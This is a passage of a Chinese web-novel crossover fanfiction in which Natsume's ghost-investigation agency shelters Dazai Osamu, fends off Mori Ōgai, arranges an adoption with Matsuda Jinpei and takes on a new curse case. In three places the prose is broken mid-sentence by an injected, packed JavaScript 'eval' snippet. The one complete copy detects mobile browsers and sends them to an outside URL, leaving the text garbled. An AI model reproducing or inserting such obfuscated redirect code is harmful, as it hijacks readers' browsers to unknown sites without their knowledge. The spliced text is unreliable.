千寻找到了一点长辈的责任感,他对着太宰治的后背又来了一下,“别磨蹭,快点抱,抱完赶紧走了。” 在废墟里杵着干什么? 旁边还一群人围观,怪怪的。 织田作之助看了看太宰,又看了看夏楠,没说话。 被推了两把,人已经和夏楠站的非常接近的太宰治:…… 他还在犹豫眼下这个令人窒息的局面怎么破解,正打算干脆和千寻随便斗斗嘴糊弄过去算了,背上又被人推了一把。 是织田作之助。 太宰治:…… “去吧,太宰,”织田作之助认真的说道,“夏目在等你。” 夏楠原地围观了一会儿眼前上演的这一幕,觉得很有意思。太宰治已经被推到了他眼前,夏楠干脆的上前半步,直接把人抱在了怀里。还没长开的少年,个头才到他鼻尖,又很瘦,对夏楠来说也算是小小一只,轻飘飘的,浑身僵硬。 平时能说会道的样子不知道去了哪里,被夏楠摸摸头的时候,居然没有躲开。 千寻啧了一声。 没眼看,索性别开眼。 夏楠看着千寻这副模样,嘴角笑容加大,“千寻也要一起来吗?” 千寻想了想三个人抱成一团的画面,脸一皱,“我才不要!” 夏楠可没打算放过他。 “代号A,抓住他。” 织田嘴角上扬,真就一把薅住了躲闪不及的千寻,把人带到了夏楠身边。夏楠分开一只手环住不停挣扎的千寻,千寻被迫三人成团,动弹不得。 千寻:…… 行,他算是知道这个讨人厌的小鬼到底为什么真的乖乖给抱了,是真.动弹不得。 夏楠的视线看向了唯一一个还没成团的织田作之助,脸上是明显玩心起来了的表情,眼睛亮晶晶的。 帮凶织田作之助:…… 夏楠:“来嘛来嘛。” 走过来凑热闹的松田阵平在织田作之助身后一推,“走你!” 其实能躲开,但没躲的织田作之助终于顺理成章的加入了抱抱军团,他张开双臂,和夏楠一人一半,将里面的太宰治和千寻团团围住。 “哈哈哈哈哈,”夏楠笑出声,扬着笑脸冲着松田阵平,“拍照拍照,快快。” 松田阵平比了个OK的手势,果断拿出手机绕着抱抱军团来了个三百六十度全方位无死角拍摄。 千寻:…… 想死。 太宰治在最中间,垂着眼,额头靠在夏楠单薄的肩头,耳边是夏楠平稳的心跳声,一下,一下。鼻尖萦绕着淡淡的茶香,很淡很淡,大概是洗衣液的气味。 他其实并没有被夏楠禁锢动作,与千寻的待遇不同,他只是很累,懒得动。 对,懒得动。 太宰治抬起手,捏住了夏楠衬衫的衣角。 ——得到的东西,终会失去。 他的指尖用了些力,将夏楠的衣角捏出了褶皱,他感觉到有一只手在他头顶拍了拍。 “阿治,来和我们玩吧。” 是夏楠的声音。 一如既往轻飘飘的发音方式,尾音上卷,像是撒娇,又带了点俏皮。 千寻听到了这句话,他瞥了一眼低着头的太宰治,原本想要出口的挑衅话语被他收了回去。 真是的,干什么一副要哭不哭的样子。 搞得他真像在欺负小孩一样。 头顶的拍拍又延续了两下。 “就这么决定了哦。” 太宰治没有说话。 夏楠眼看着系统进度条又往前推了七分之一,愉快的眨了眨眼。他松开了手,从松田阵平那里收到了抱抱军团无死角连拍,然后,忽然正色。 “好了,正事时间。” 松田阵平好笑,“你还记得正事?” “当然,”夏楠环视一周,他们这边的温馨并不影响专业人士们对现场进行线索收集和处理,他已经看到坂口安吾偷偷去摸那张完好无损的解剖床了,“收钱的事怎么能不记得?” —————— 探灵社得到了一比不菲的报酬,来自委托代理人大桥的雇主,给的非常爽快,到账也极其迅速。 关于这栋老宅的后续调查由松田阵平他们接手,有关融合鬼的后续也是鬼杀队主导负责,军警和异能特务科看似镶了个边,也不知道他们之间达成了什么协议。 这种派系和势力之间的争斗夏楠无意参与,尽管挑起这次争斗的主要责任方有他一个。 夏楠拿到报酬,就打算告辞了。 “夏目先生,请等一等。” 条野采菊正和鬼杀队的人交流,听到大桥先生的声音,注意力被拉了过来。 夏楠礼貌的打了个问号。 “夏目先生,”大桥手里拿着一张邀请函,“这是樱井先生特意送来的,嘱托我一定交到您的手上。” 夏楠接过看了一眼,是一张宴会邀请。 他将邀请函还了回去。 “没兴趣。” 大桥没有再接过去的意思,只是说,“是一次慈善晚宴,樱井先生感念您解决了这里的麻烦,”他并没有用恶灵之类的字眼,“与会人员都是本国有头有脸的大家族成员,或许……” 夏楠没什么表情,他打断了大桥接下去的话,又说了一遍,“没兴趣。” 太宰治不知道什么时候已经从夏楠手中拿过了那张邀请函,打开看了看,又随手塞进了路过的军警手里,仿佛那张在许多人眼中直接代表了身份、地位,近乎无价的邀请函是什么随手就可以丢弃的垃圾。 无辜军警:…… 什么东西??? 他已经恢复了平时的做派,之前那个呆呆流泪还要人抱抱摸摸头去哄的人叫大宰治,或者天宰治,反正不是他太宰治。 从未被如此不耐烦且斩钉截铁的拒绝过的大桥不确定的看着没什么表情的夏楠,对方只是秉持着最后的礼仪(对刚刚付过钱的客户最后的耐心)微微颔首一下,接着转身就走。 大桥赶忙制止:“等……” “大桥先生,”走过来的条野采菊拦住了他,“夏目和你们不同。” 不知道什么时候,条野采菊对夏目的称呼亲昵了些,他略去了敬称。 大桥闻言,愣了一下。 条野采菊听着探灵社一行人离开的脚步声,补充了一句,“……也和我们不同。” 那是不为世俗所约束的人,是游走于‘界线’之上的特殊存在。 大桥先生脸色变幻,最终叹了口气。他也是奉命行事,其它的东西,不是他这种人去考虑的问题。 还是先汇报给樱井先生吧。 一直默默镶边的坂口安吾默默跟着探灵社一行人出了宅子,他打算蹭车。他当然知道这个举动有些奇怪,但是…… “夏目社长,贵社目前缺文员么?” 夏楠看着站在车窗前,神态有点点局促的坂口安吾,眨了眨眼。 什么意思,明牌二五仔? 他盯着坂口安吾看了半天,直到把人看的额角冒出了细密的汗,又回过头,依次瞅了瞅太宰治和织田作之助。最终,夏楠的目光定格在了同样在探究的看着自己的太宰治身上。 他直接问了。 “你干的?” 小饼干怎么自己送上门了呢?不是会卧去港口黑手党么? 太宰治无辜的举起双手,他扫了一眼坂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以为自己又要被强迫再来第四遍的坂口安吾提前露出了十分抗拒的表情,自学成才的太宰治在一边对着表情扭曲的坂口安吾来了个脸部特写。 夏楠凑近脸色惨白瞳孔微微扩散大概去了有一会儿的坂口安吾的耳边,轻轻说道,“好玩吗?” 坂口安吾:…… 他谨慎的回答,“如果只有一次,或许。” 不要第四次别来第四次拒绝第四次! 织田适应力强也就算了,那边的千寻都吐了三轮了,什么魔鬼社长啊你! 还有千寻,你到底怎么回事?明明不适应为什么每次都会抢着上啊!不就是被太宰嘲讽了几句吗?面子算什么,承认自己过山车苦手很难吗?身体是自己的啊你快拒绝啊!!! 织田!快阻止一下你们社长啊! 夏楠退后半步,笑眯眯的,“你误会了,坂口君,我的意思是……”他说道,“……我的意思是,你的异能力,好玩么?” 在车上时找机会摸过车又摸过那个被夏楠带着到处拍了一圈的摄像的坂口安吾:!!! 他僵住了。 本就惨白的脸色遮掩了他僵硬的表情,但他明白,夏目已经知道了。 太宰治在一旁轻笑,“别吓唬安吾啊夏目,你看,他都不呼吸了。” 他与夏楠对视一眼,彼此都在对方的视线里找到了自己想要的东西。 夏楠:果然是if线么,怪不得对织田这么执着。 太宰治:他知道书,知道平行世界,甚至可能很了解。 两人短暂对视之后,又相继移开了视线。 坂口安吾不知道这两个人之间简短的,不为人知的小小摊牌,他还在紧张。理智告诉他夏目大概率只是恶趣味发作,毕竟他根本没阻止自己的小动作,但他还是紧张。 他终于再次听到了夏楠的声音。 “再来一次,”夏楠说道,“坂口君,再来一次,我就当什么也不知道。” 坂口安吾:…… “……行。” 呵,呵呵。 果然是恶趣味发作呢。 就这样,探灵社度过了一个轻松愉快的游乐园团建日,并在第二天,驱车回到了横滨。 —————— 夏楠是被人叫醒的。 千寻中途下车换了新干线回博多,太宰治和夏楠一起坐在后排,夏楠醒来的时候,车已经停下了。车窗外是阔别两天的熟悉建筑,太宰治已经拉开车门走了出去,与坂口安吾站在一起。 他们的对面,院门口的地方站了一个人。 夏楠没在意那个人影,他挣扎着打开车门。 “贵安,夏目社长。” 一道陌生的声音响起。 夏楠努力站直了,越过车顶看向了声音发出的方向。 是一个穿着白大褂的男人,他笑眯眯的对着这边,说道,“太宰君这些天给您添麻烦了。” 夏楠:…… 他看了一眼站在原地,没说话的太宰治。 “你谁?” “失礼,”男人笑道,“鄙姓森,名欧外,是太宰君的监护人。” 夏楠慢吞吞的绕过车,走到了森鸥外面前。这个人的站位精准的卡在了院门外的正中,完完全全的堵住了他们进入院子的路线。 是详细调查过他的人。 夏楠掏出手机,给千寻发了条短讯——卖了多少? 千寻那边很快回复了一个数字。 夏楠继续发——一半。 千寻依旧回的很快——成交。 夏楠满意的收起手机。 在他和千寻短暂联系的时间里,森欧外也不开口催促,只是很有耐心的原地等待,见夏楠收起手机,才接着说道,“那么,我就带太宰君离开了。” “100亿。” 森鸥外礼貌的扣了个问号。 夏楠说道,“阿治欠我100亿,先给钱。” 森欧外:…… 他迟疑的看向站在一边的太宰治。 太宰治一脸无辜的摊了摊手,并没有否定。 森鸥外沉默一会儿,开口,“请问,这100亿的来源是……” “碰瓷导致的精神损失费,劳动我亲自出马救人的委托费,还有他自己的身价。” 夏楠回答的很快,说话的间隙,还打了个哈欠。 他是真的很困,无聊的时候,只想睡觉。 森鸥外嘴角的笑容淡了些,他仔细观察了一会儿夏楠的表情,说道,“如果我不给呢?” 夏楠歪头,不确定的说,“以身抵债?” 森鸥外:…… “很抱歉,鄙人目前还没有换工作的想法。” 26.二十六 太宰治最终还是暂时留了下来。 森欧外并没有试图强硬的带人走,在察觉到太宰治是因为自身的意愿留在探灵社这件事之后,只是表示自己日后还会再来拜访,就离开了,绝口不提什么100亿的事。 “森先生不会就这样放弃的。” 随着港/黑首领身体进一步的衰弱,横滨地下世界的暗潮涌动已经波及到了普通人的日常生活,冲突频繁发生,警视厅和军警并没有过度介入以防事态恶化,大家都在等。无数双眼睛盯着港口黑手党,等着在最混乱的时候暴起,撕咬也好,明抢也好,庞然大物如果陷入内乱,有的是人等着趁乱分一杯羹。 坂口安吾扶了扶眼镜,尽量降低了自己的存在感。 太宰治在森鸥外的布局里举足轻重,‘人间失格’的重要性毋庸置疑,太宰治个人的资质也足够优秀。森鸥外试图将太宰绑定在自己的车上,只是没想到中途会冒出来一个探灵社截胡。 这么轻易就走了,肯定是在憋个大的。 对太宰治的提醒,夏楠只是摆了摆手表示知道,头也不回的往二楼走。 太宰治:…… 坂口安吾看了看太宰治的脸色,斟酌了一下,开口说道,“……夏目社长应该有自己的打算。” 说是这么说,其实他自己也有点不确定。他和夏楠相处的时间最短,拿不准这个人到底是个什么风格,只知道难搞。 太宰治沉默一会儿,动作夸张的叹了口气:“但愿吧。” 他能有什么打算,那就是个戳一下动一下戳急了还会回头咬你一口的家伙。 坂口安吾暗暗思忖——看来这位森医生会有什么动作。不知道他是哪一方的拥簇?还是说,他自己就是一方。 ——与其让‘人间失格’落入黑暗,不如把那孩子放在夏目手里。 这是种田长官说过的话,坂口安吾眼镜反光。 “太宰,坂口,来帮忙。” 织田作之助抱着装有器材的箱子走了过来,他对森欧外的到访没什么特别的情绪。 “唉——还要搬东西,好重的,不要不要,”太宰治一秒切换画风,满脸嫌弃和抗拒,“安吾,你去,你去。” 坂口安吾:…… “织田叫的是我们两个。” 别想偷懒,谢谢。 织田作之助动作很快,他已经放好箱子,重新走了过来,“不是我,是夏目。”他拿出手机,点开收讯界面,展示给两个人看。 ——别一个人干活,让新人干,压榨压榨新人(墨镜)。 ——还有,和坂口说一声,帮忙看住阿治,他肯定又要乱跑(斜眼)。 ——还有还有,这两天采购的事情就拜托你了,社内保洁让他们来,搞不好不许吃饭(强壮)。 ——他们就交给你了,万能的助手君,社长给你包红包(爱心) 被屏幕怼脸的两人很快看完讯息。 好……好活泼的风格。 的确打算找机会离开处理些事情的太宰治:…… 莫名觉得自己又被看破的坂口安吾:…… 就在这时,两条新讯息相继冒了出来。 ——我出门一趟,别让熊孩子拆家(严肃)。 ——加油,你可以的(拳头). 就差指名道姓的熊孩子太宰治:…… 无辜被波及的熊孩子坂口安吾:…… 等等。 出门? 太宰治快步走到二楼。 哪里还有夏楠,刚刚那个打着瞌睡一副要去睡到地老天荒的人根本不在室内。他跑到敞开的窗边往外看去,一眼就看到了刻意等在街对面的夏楠,对方看到他,朝着这边懒洋洋的招了招手。 太宰治:…… 织田作之助和坂口安吾也跟了上来。 “看来他很感兴趣。”织田作之助说道。 坂口安吾被夏楠的操作震惊了一下,堂堂社长跳窗是怎么个事,“感兴趣?” “嗯,”织田作之助说道,“夏目只有在感兴趣的时候,行动力会比较高。” 不然探灵社接委托的频率也不会这么低。 两个月的相处,他已经对夏楠的行事作风有了进一步的了解。 坂口安吾品了品这句话。 他看着窗外,忽然发现,夏楠正在对着这边指指点点。 ? 什么意思,后面? 他回过头。 头发,密密麻麻的头发,墙壁,地面,天花板,全都是。不知道什么时候出现的头发,已经将他们的来时的路堵的严严实实。再去看窗外,好家伙,转个头的功夫,窗户上也已经糊满了头发。 坂口安吾:…… 这么水深火热的吗? 密恐要犯了。 他僵硬的伸出手,摸了摸自己内侧口袋里妥善放置的、长官给的、据说出自探灵社的御守。 太宰治:“……啊。” 他无辜的看向织田作之助。 织田作之助:…… 懂了,捞宰。 反正已经是熟练工了。 —————— 东京。 某处咖啡厅。 松田阵平推开大门,一眼看到了坐在最里侧的夏楠。他举步走过去,拉开对面的椅子坐下。 “怎么了?怎么突然找我?” 接到夏楠电话的时候,松田阵平还挺惊讶,以为又有什么情况,找了个空闲时间就过来了。两人约定见面的地点就在警视厅附近,对松田阵平来说,倒是很方便。 就是夏楠突如其来的体贴行为让他感觉有点怪怪的。 ——有所求的夏目原来也可以做到‘为他人着想’这件事啊…… 侍应生很有眼色的上前询问点单,松田阵平随便点了一杯咖啡,他看了眼夏楠面前只有一杯清水的桌面,“刚来?” 夏楠没回答。 离开与那个世界相关的场合,他们两个还是第一次在这么日常的地方见面。除去那些奇怪的光环,夏楠现在的样子,看起来就像个清爽的在校大学生,很有欺骗性。 “松田警官……” “松田,”松田阵平说道,“私下的场合随意一点,不用加后缀,我不是也喊你夏目么?” 夏楠从善如流,他没有寒暄的意思,直切主题,“松田,我社有一个孩子,叫太宰治……” 松田阵平回忆了一下,“哦……那个被抓走的小鬼?” 他和太宰治之间没什么交集,只记得这小鬼醒来以后哭了。 还得社长摸摸头去哄。 “他怎么了?” “他以前的监护人混黑。” 松田阵平:??? “混黑?是我理解的那个黑吗?” 夏楠严肃的点点头,“港口黑手党,听说过吗?” 松田阵平见夏楠严肃,于是也跟着严肃下来,“有耳闻……他的监护人是港口黑手党的人?” “算半个吧,”夏楠说道,顶着松田阵平疑惑的视线,他接着说,“如果我没猜错的话,应该是没有详细的领养手续的那种监护。” 松田阵平似乎有点明白夏楠来找他的意图了。 “你的意思是……你要领养?” “他是孤儿吗?”松田阵平说道,“手续我倒是可以帮你办,如果有特殊情况,也可以帮你做担保申请一下加急……” 说着,松田阵平忽然顿住了。 “等等……我记得,你好像没成年吧?” 夏楠仰靠在椅子上,“是啊,这就是问题。” “我社情况比较特殊,唯一年龄达标的织田资质不达标,资质达标的我年龄不达标,惠子又暂时不在社内……” “没有合法的领养手续,太宰君上学都是问题。” “也是……” 松田阵平思索一会儿,“倒是可以先找个机构把他的名字挂靠在那边……然后以探灵社的名义申请,我这边再找人帮你担保的话,或许行得通,等你……你还有多久满十八?” 夏楠回忆了一下,不确定的说,“……四个月?” 松田阵平点了点头,“这事交给我,太宰君的资料你有吗?” 夏楠面露难色,“你知道的,他之前一直跟着一个……” 松田阵平:…… 懂了,黑户。 你是有什么黑户收集癖么? …… 松田阵平想起了昨天看到的场景——少年呆愣愣的站在那里落泪,明明想要靠近却踟蹰着不敢上前的样子。 还是个孩子啊…… 跟黑手党扯上关系的话,的确是很麻烦。 他倒是不怎么怀疑夏楠话语的真伪,在这种事上,夏楠没有说谎的必要。倒不如说,夏楠能为了一个误入歧途的少年来找他帮忙这件事反而让他很惊讶。 嗯,也很欣慰。 “行吧,我帮你想想办法。”松田阵平说道,“姑且问一句,他应该没有犯罪记录吧?” 夏楠展颜一笑,“太宰君非常聪明。” 松田阵平:…… 秒懂,但他不想秒懂。 夏楠收起了之前浮夸的演技,轻轻的说道,“松田可以去问问千寻具体的情况,有关于太宰君的问题,不论哪方都不怎么适合处理,只有警视厅,准确来讲,只有你适合。” 松田阵平盯着夏楠看了一会儿,忽然叹了口气,“看来你给我找了个大/麻烦。” “松田,”夏楠认真的说道,“他才十四岁。” 松田阵平看不出对方认真的表象下有多少真心,但这句十四岁,到底还是打动了他。 “我知道了,我看看,能不能帮你想想办法,但前提是,太宰君之前没有过什么重大犯罪记录,他自己也不是什么区域指定灾害之类的。”松田阵平说的也很认真。 夏楠笑了笑,他对太宰治的能力很放心,“那就拜托你了,松田。” “一定要尽快。” 之后又具体商讨了一些有关于领养手续的问题,没有过多寒暄。 松田阵平很忙,夏楠也没有多留的打算,两人很快道别。 夏楠脚步轻快的走到路边,拦了一辆出租车。开车的是位带着鸭舌帽的高大男性,白发,帽沿压的很低,低到让人怀疑他到底能不能看清前面的路的地步。 夏楠坐到后座,低头发了几条短讯,察觉到十分明显的打量视线,他抬起头,通过后视镜,看到了白发司机那双好看且有神的眼睛。 直勾勾的,一点也不掩饰的打量,打量中还带了点欣赏。 “很华丽嘛,你,”男人见夏楠看过去,开口,“虽然比不上我,但也算是非常不错了。” “就是太瘦,男人怎么能这么瘦!” “说起来,有没有兴趣进娱乐圈?倒是有些审美奇怪的姑娘们就喜欢你这一款的。” 夏楠眨了眨眼,“阁下是?” “我吗?”白发男人开车的间隙,抬起一只手比了个夏楠不是很懂的手势,“本大爷叫宇髄天元,把这个无比华丽的名字好好刻进你的DNA里,一生瞻仰吧!” 夏楠的视线在对方色彩缤纷的指甲上一扫而过,“我记得我联系的是不死川先生?” “哦,他啊,那个无趣的家伙,”宇髄天元说道,“他有事过不来,而我刚好在附近。” 后视镜里那双漂亮又有神的眼睛再次瞅了一眼夏目,“所以,你找我们是有什么事?” 夏楠微微勾起嘴角,“有些小小的麻烦,想要拜托鬼杀队……” —————— 事实证明,除了夏楠,没人能拦得住决意要消失的太宰治。坂口安吾不行,织田作之助也不行。 宇髄天元的车技一流,非常华丽,和他这个人一样华丽。夏楠被一路送到了探灵社门口,两人在探灵社门口还来了一场华丽的告别。短短半个多小时的车程,夏楠都快分不清华丽这两个字到底该怎么读了。 回到社里的时候,坂口安吾看起来有点紧张。 一楼只有他一个人在。 “抱歉,织田去找太宰君了,我……” 夏楠抬手制止了对方接下来的话,把自己丢进了沙发里。出去忙了半天,可累。 “水,安吾君,我需要水。” 紧张让坂口安吾没有第一时间注意到夏楠对自己的称呼的变化,他给夏楠倒了杯冰水。 夏楠一饮而尽,呼出一口气。 他躺在沙发上,没骨头一样,抬起手指墙边的角柜,“那里,有三个茭贝……三个形状像饺子一样的东西,拿过来,安吾君。” 坂口安吾:…… 用起人来一点也不含糊啊喂。 他走过去,找到三个被放在盒子里的东西,不认识,估计是,干脆连盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“去忙吧。” 坂口安吾没有动,他犹豫了一会儿。 “之前,是有这个打算。” “唔。”夏楠发出一个模糊的音节。 坂口安吾看了一眼夏楠的脸,夏楠已经闭上了眼睛。 他推了下眼镜,“我去扫地。” …… “安吾君。” 坂口安吾站住了。 “织田说过什么么?” 坂口安吾知道夏楠问的是什么,他回答道,“他说——我去带太宰回来。” 夏楠听完,笑了一声。 “他们两个,恐怕一时半会儿,不会回来了。” 坂口安吾保持安静。 “明天早上会有委托人上门,到时候还得拜托你,安吾。” —————— “请进。” ——换人了么? 井下朋花打量了一下眼前第一次见面的青年,没有说什么,只是跟着对方进入了屋内。她的身后还有一个人,是一名年轻的男性。男性看起来有些憔悴,一边走,一边警惕的四下打量。 坂口安吾注意到,男性的手里紧紧捏着御守,一个他也很熟悉的御守——探灵社出品,秀发特攻专用版。他没说什么,只是带着两人走到会客区域,妥帖的送上了热茶,然后十分娴熟的,走到了夏楠身后,站定了。 “好久不见,井下小姐。” 夏楠罕见的打扮了一下自己,全套的正装,妥帖的发型,得体的笑容。坐在那里,坐姿端正又不刻板,浑身上下散发着精英味儿。 井下朋花默了一下,她四处看了看,果然发现了不远处早就架设好的拍摄机器,甚至不止一台。 行吧,素材。 “好久不见,夏目社长。” 夏楠微笑颔首,视线看向坐在井下朋花身边的男性,“这位是……?” 井下朋花的脸色瞬间阴沉了一下,又很快恢复正常,“他叫小岛田峪四郎,是我的……”井下朋花顿了顿,接着说道,“……是我的前暧昧对象,也是把诅咒传染给我的家伙。” 说到后半句,她的视线斜斜瞥了一眼身边那个不修边幅但能看出确实长的不错的年轻人,带着一股子要刀人的狠戾。 只一眼,时间也不长,等视线转回来,井下朋花的表情已经恢复正常。 小岛田峪四郎瑟缩了一下,似乎有点畏惧身边的井下朋花。 夏楠对眼前发生的一幕仿佛无知无觉,“原来如此,”他说道,“那么,事不宜迟,请二位开始自己的表……叙述。” 井下朋花抬手拍了一下小岛田的肩膀,语气生硬,言简意赅,“讲。” 小岛田看了一眼夏楠。 他知道这个人,探灵社的视频他都有看过,原本他也是给探灵社的邮箱里发了委托信件的,只是没有得到回复。 “……我也是听朋友讲的,有一个自/杀的家伙……” “年初的时候,我在佩西亚电器打工,有同事和我聊起这件事,一个叫梶川的人,在去年,上吊自/杀了。据说是一个很热心也很开朗的年轻人,因为长的还算不错,交际能力好,很受顾客们的喜爱……” “可是,就在去年年初,他忽然变了个人一样,发呆,订错货,甚至无故缺勤,还会问别人——你有听到婴儿的哭声吗?” “在问过这句话不久之后,他就在租住的房间里,上吊自/杀了……” 小岛田停顿了一下,他忽然有些神经质的看了看玄关的方向,嘴唇抖了抖,“我……我好像听到有什么声音……” “没有声音。”夏楠说道。 小岛田小心翼翼的看了夏楠一眼。 夏楠的脸上依旧带着笑,语气轻飘飘的,却莫名带着一股安定人心的力量,“没有声音,你继续讲,小岛先生。” ——是小岛田。 站在沙发后面、夏楠的侧后方的坂口安吾内心默默纠正。 小岛田本人似乎并不在意自己被叫错名字这件事,他停了一会儿,接着说道,“都说,他变成了地缚灵,在他自/杀的那间出租屋里,捉替/死/鬼……” “……在他之后,我的一个朋友租了那间房子,他说,他在住了两个多月以后,有一天晚上,也听到了婴儿的哭声,察觉到不对劲,立刻就搬走了……” “我的那个朋友是灵异现象研究社的成员,遇到这样的事,因为感到好奇,就去调查了一下……” “你也参与了?”夏楠问道。 小岛田抠了抠自己的指甲盖,“是,我也参与了。” 27.二十七 安静的房间内,明明是大白天,却黑漆漆的,只有几盏亮起的灯。华丽的床围里,柔软的床榻上,一名老者正躺在那里。他的脸上是呼吸罩,眼睛睁着,身上穿着真丝睡衣。他的床边摆放了许多医疗器械,医疗器械的旁边,站了一个人。 是森鸥外。 不远处床尾的位置,几名黑西装微微低垂着头站在那里。黑西装们的面前,是一台临时架设好的设备。设备里传来略微有些失真的声音,背景音里,还有许多沙沙沙的响动,大概是电流声。 “探灵社社长有些奇怪的能力,他在家里养了诅咒为他看家,许多电子设备都会失灵,”稍远一点的地方,阴影里,传出一个人的声音,“我观察过,一楼固有的电子设备在探灵社社长在社内的时候都能正常使用,但监听设备不行。” “我把东西粘在了摄像上。”那个声音说道,语气很平淡的叙述。 “原来如此,是阵地。”又一道声音响起,“被认为是己方的东西受阵地保护,可以正常使用。” 那个声音继续说道,“据我所知,能做到这种事的人可不多啊……” 床上的老者忽然动了动,他抬起枯瘦的手,将脸上的呼吸面罩拨开。 森鸥外凑近老者身边,姿态恭敬的弯下腰。 “把……把人……弄过来……” 老者的声音已经很虚弱了,任谁都能听的出来,他已经时日无多了。 “我去吧,boss。” 之前说是阵地的声音再次响起,一个人从昏暗的角落走了出来,是一位中年人。他也穿着一身黑衣,身材魁梧,“我对那个世界稍微有些了解,让我去吧,boss。” 床上的首领混浊的眼珠转了转,他听出了说话的人是谁,“不……” “boss,”森鸥外的声音响了起来,“不如再听听看,屏蔽信号也可能是什么装置的作用,毕竟,这位夏目社长身边有一位电脑高手。” “不如再听听看,看看他到底有没有能力,解决boss您身上的诅咒。” 首领不说话了,他吃力的喘息着,似乎是在思考。 森鸥外又说了一句,“去请的场家家主的人已经快回来了。” 首领终于微微颔首,他将呼吸面罩重新带好,森鸥外贴心的为他调整了一下角度。 那名请命的中年男性深深的看了一眼森鸥外,对上了对方含笑的眼睛,他微微眯了眯眼,重新退回了黑暗里。 房间内,只余带着沙沙电流背景音的说话声。 墙边,窗帘旁,一名少年微微垂着眸子。他的一只眼睛被绷带包裹,另一只眼睛也隐藏在刘海的阴影下。 是太宰治。 为首领更换输液药剂的森鸥外走过太宰身边,低声说道,“做的很好,太宰君。” 太宰治微微抬起眼,看到了森鸥外牵起一角的嘴唇。 —————— “那个出租屋,不是最初的地方。” 小岛田叙述的声音变的有些飘忽,似乎是在回忆,“刚开始的时候,大家都不知道事情会变的这么严重……” “梶川最初租住的公寓并不是他后来自/杀的那间,他开始变的奇怪的时候,刚刚好能和之前换新公寓的时间对上,就是去年年初。” “……我的朋友,他叫山本,他……” 小岛田忽然哽咽了一下。 井下朋花在一旁,沉默了一会儿,抬起手,又拍了一下小岛田的背,她开口,“山本自杀了,就在几天前,还好发现的及时,现在人还在医院,只是……” “是自/焚,烧伤很严重,目前还没有完全脱离危险期。” 坂口安吾愣了一下。 “……自/焚?” “对,山本并不是一个人住,因为频繁听到婴儿的哭声,他害怕出问题,就去了附近的寺庙借住,是庙里的僧侣救了他。”井下朋花微微皱着眉,她刚开始并没有太在意这个诅咒,毕竟已经在探灵社有了预约,加上还带着御守,一点没在怕的,“当时一起听这家伙……”她又拍了一下小岛田的背,“……听这家伙讲这个故事的人里,只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684228|171794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月野遇到了一些怪事,最近也变的神经兮兮的,我本来想带她一起过来……” 井下朋花眉头皱的更紧了,“……她被她父母接回老家了,我也是听别人说的,说她最近总是接到奇怪的骚扰电话……” “还有小岛田,小岛田遇到的事也不一样,都是近几天才开始的。” 夏楠看了一眼神小岛田,“仔细说说。” 小岛田抿了抿嘴,对于描述自己所经历的事情,他明显更加不安,“我住在校内,舍友最近都不在,宿舍里只有我一个人……” “就……三天前的晚上,我起来上厕所,听到了奇怪的动静,像是什么东西,在地面上移动的声音。我当时睡的不太清醒,并没有太在意,以为是舍友回来了,上完厕所就回房间睡觉了。” “第二天早上起来才发现,舍友昨晚根本没有回来。” “宿舍里,从始至终,只有我一个人。” 他又偷感很重的看了一眼夏楠,“……当时立刻就觉得有些不对劲,因为山本的事,大家都知道他跑去寺庙里驱邪了。我……我学着您的方法,去摄影部借了夜视摄像机,拍了发出声音的地方。” 小岛田说着,掏出一个东西,将东西放在桌子上,推到了夏楠面前。 夏楠拿起那部缠了好几张不怎么认识的符的内存卡,挑了下眉。 小岛田忽然有些局促,“没……没办法,自从把那个视频传到电脑里以后,电脑就出了问题,我是学新闻学的,有许多文字类编辑的作业,它……”他用了‘它’这个词,“……‘它’能重新编辑文字……” ——只是看到,就会被诅咒。 ——只是听到,就会被诅咒。 ——只是接触,就会被诅咒。 夏楠撕开了那几张符,示意坂口安吾带个能匹配的摄像机过来。 小岛田的声音还在继续,“……因为觉得很可怕,就把电脑扔了,那个摄像机也被我砸坏了,只要和那个视频有过接触的设备,都会出问题,没有办法,只能用这样的方式带给您看。” 28.二十八 港口贸易公司。 的场静司从气派的正门内出来,回头看了眼这栋耸立的高楼。作为横滨的地标建筑之一,自身却是黑手党的老巢…… 他收回视线。 的场静司的身边跟着一位身材魁梧的中年男性,据说是港口黑手党的五大干部之一。 异能力。 区别于灵力,成因为迷,不知道来处。与他们这些传承千百年的特殊能力家族相比,异能力者,就像是随着生产力发展而诞生的副产品一样,崭新,却又有很强的侵略性。 它的活跃场景总是伴随着腥风血雨,比如战争,比如……黑手党。 “的场家主,怎么了,不上车么?” 的场静司看了一眼说话的中年男性——虚假的笑容,虚假的客套。 他回过头,正要坐进车里,忽然看到一队车辆正在迅速接近。 “那是……” 中年男性依旧保持着自己的笑容,语气不容拒绝,“的场家主,请上车。” 的场静司没有动。 就算港口黑手党的首领已经成了一个为了活着不择手段的、脑子不清楚的家伙,他们也不至于能做出在没有切实利益的情况下、光天化日对除妖师协会荣誉会长动手的事情。 更何况,既然敢来,他自然也有自己的底牌。 的场静司没有动,他站在原地,看着车队迅速接近,看着一群黑衣人鱼贯下车,紧接着,看到了一张眼熟的面孔。 “原来是他。” 探灵社的社长,如今网络上很火爆的,科学驱魔第一人。原来港口黑手党也‘请’了他,只是这位社长的待遇似乎还不如自己。 看着夏楠那张布满寒霜的脸,的场静司有点想笑。 “我可以去打声招呼么?” 中年男性微微眯眼,他抬起手,手掌落在了的场静司的肩膀上,像是一种无声的威胁,“上车。” 敬语消失了,只留下命令的祈使句。 的场静司瞥了一眼肩头宽厚的手掌。 异能力——他想。 真是麻烦的能力。 